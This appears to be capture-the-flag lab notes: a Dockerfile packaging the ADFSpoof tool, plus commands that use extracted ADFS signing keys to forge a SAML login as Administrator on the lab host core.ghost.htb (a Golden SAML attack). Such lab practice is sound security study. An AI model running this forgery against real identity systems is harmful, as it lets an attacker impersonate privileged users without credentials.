FROM python:3.9-slim
ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1
WORKDIR /app
# Install needed system dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc \
libxml2-dev \
libxslt-dev \
libssl-dev \
build-essential \
&& apt-get clean && rm -rf /var/lib/apt/lists/*
# coping the repo into continer
COPY . /app/
# Installing dependencies
RUN pip install --upgrade pip && \
pip install -r requirements.txt
# Install the custom Cryptography library from the local folder
#RUN pip install /app/cryptography-master
VOLUME ["/app"]
CMD ["python", "ADFSpoof.py"]
docker run -it --rm -v $(pwd):/data --network="host" adfspoof bash
python ADFSpoof.py -b /data/TKSKey.bin /data/DKMkey.bin -s 'core.ghost.htb' saml2 --endpoint '<https://core.ghost.htb:8443/adfs/saml/postResponse>' --nameidformat 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress' --nameid '[email protected]' --rpidentifier '<https://core.ghost.htb:8443>' --assertions '<Attribute Name="<http://schemas.xmlsoap.org/ws/2005/05/identity/claims/upn>"><AttributeValue>[email protected]</AttributeValue></Attribute><Attribute Name="<http://schemas.xmlsoap.org/claims/CommonName>"><AttributeValue>Administrator</AttributeValue></Attribute>'